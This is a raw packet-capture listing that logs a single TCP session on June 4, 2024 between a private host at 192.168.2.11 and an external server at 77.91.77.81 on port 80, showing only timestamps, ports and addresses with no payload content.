Jun 4, 2024 23:09:16.081993103 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.081998110 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.081998110 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.082005024 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.082021952 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.082035065 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.082040071 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.082040071 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.082046986 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.082060099 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.082072020 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.082082033 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.082092047 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.082092047 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.082097054 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.082108974 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.082119942 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.082132101 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.082142115 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.082142115 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.082144976 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.082163095 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.082180977 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.082182884 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.082182884 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.082192898 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.082205057 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.082216978 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.082226992 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.082231998 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.082231998 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.082238913 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.082250118 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.082262993 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.082276106 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.082276106 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.082276106 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.082288980 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.082302094 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.082315922 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.082321882 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.082321882 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.082335949 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.082346916 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.082356930 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.082360983 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.082360983 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.082370043 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.082384109 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.082398891 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.082406044 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.082406044 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.082413912 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.082425117 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.082437992 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.082444906 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.082444906 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.082451105 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.082462072 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.082485914 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.082485914 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.082485914 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.082501888 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.082514048 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.082526922 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.082526922 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.082526922 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.082540989 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.082555056 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.082564116 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.082564116 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.082566977 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.082577944 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.082591057 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.082602024 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.082612991 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.082612991 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.082613945 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.082626104 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.082645893 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.082647085 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.082648039 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.082658052 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.082669020 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.082680941 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.082685947 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.082685947 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.082691908 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.082703114 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.082716942 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.082724094 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.082724094 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.082729101 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.082740068 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.082751036 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.082762957 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.082775116 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.082776070 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.082776070 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.082787991 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.082798958 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.082811117 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.082814932 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.082814932 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.082823038 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.082834959 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.082848072 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.082856894 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.082856894 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.082859039 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.082870960 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.082881927 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.082894087 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.082906008 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.082906008 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.082906961 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.082918882 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.082932949 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.082940102 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.082940102 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.082948923 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.082962036 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.082973957 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.082984924 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.082988977 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.082988977 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.082998991 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.083012104 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.083024025 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.083034992 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.083035946 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.083035946 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.083046913 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.083060026 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.083069086 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.083069086 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.083072901 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.083084106 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.083096027 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.083112001 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.083118916 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.083118916 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.083122969 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.083128929 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.083134890 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.083139896 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.083151102 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.083163977 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.083175898 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.083175898 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.083175898 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.083189011 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.083200932 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.083214045 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.083215952 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.083215952 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.083225965 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.083237886 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.083250999 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.083259106 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.083259106 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.083266020 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.083276033 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.083287954 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.083300114 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.083303928 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.083303928 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.083313942 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.083326101 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.083338976 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.083345890 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.083345890 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.083352089 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.083364010 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.083375931 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.083388090 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.083396912 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.083396912 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.083400011 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.083411932 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.083425045 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.083435059 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.083437920 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.083437920 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.083446980 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.083458900 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.083470106 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.083482027 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.083483934 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.083483934 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.083492994 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.083506107 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.083519936 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.083520889 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.083520889 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.083532095 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.083544016 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.083554983 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.083565950 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.083570004 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.083570004 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.083578110 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.083590984 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.083600044 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.083600044 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.084527016 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.185729027 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.185746908 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.185812950 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.228825092 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.228838921 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.228849888 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.228857994 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.228878975 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.228892088 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.228904963 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.228916883 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.228928089 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.228960037 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.228971958 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.228985071 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.228996038 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.228996992 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.229008913 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.229021072 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.229026079 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.229032993 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.229047060 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.229083061 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.229163885 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.229208946 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.229377985 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.229394913 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.229408026 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.229419947 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.229433060 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.229440928 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.229444027 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.229456902 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.229470968 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.229482889 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.229485035 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.229496002 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.229509115 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.229515076 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.229516029 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.229516029 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.229533911 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.229538918 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.229546070 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.229558945 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.229568005 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.229571104 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.229583025 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.229593039 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.229598045 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.229609013 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.229619980 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.229628086 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.229640007 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.229645014 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.229652882 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.229654074 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.229669094 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.229675055 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.229687929 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.229693890 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.229701042 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.229712009 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.229723930 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.229731083 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.229731083 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.229744911 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.229754925 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.229757071 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.229769945 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.229780912 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.229782104 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.229794979 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.229804039 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.229805946 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.229818106 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.229820967 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.229839087 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.229841948 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.229851007 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.229866028 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.229867935 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.229880095 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.229887962 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.229891062 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.229903936 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.229913950 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.229918957 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.229931116 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.229932070 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.229944944 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.229954958 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.229959011 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.229970932 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.229981899 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.229983091 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.229995012 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.229996920 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.230009079 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.230021000 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.230021954 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.230032921 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.230040073 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.230046034 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.230061054 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.230062962 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.230072975 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.230082989 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.230088949 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.230098009 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.230125904 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.230142117 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.230154037 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.230170012 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.230181932 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.230185986 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.230194092 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.230200052 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.230206966 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.230227947 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.230245113 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.230252028 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.230277061 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.230308056 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.230343103 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.230354071 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.230377913 CEST	49713	80	192.168.2.11	77.91.77.81
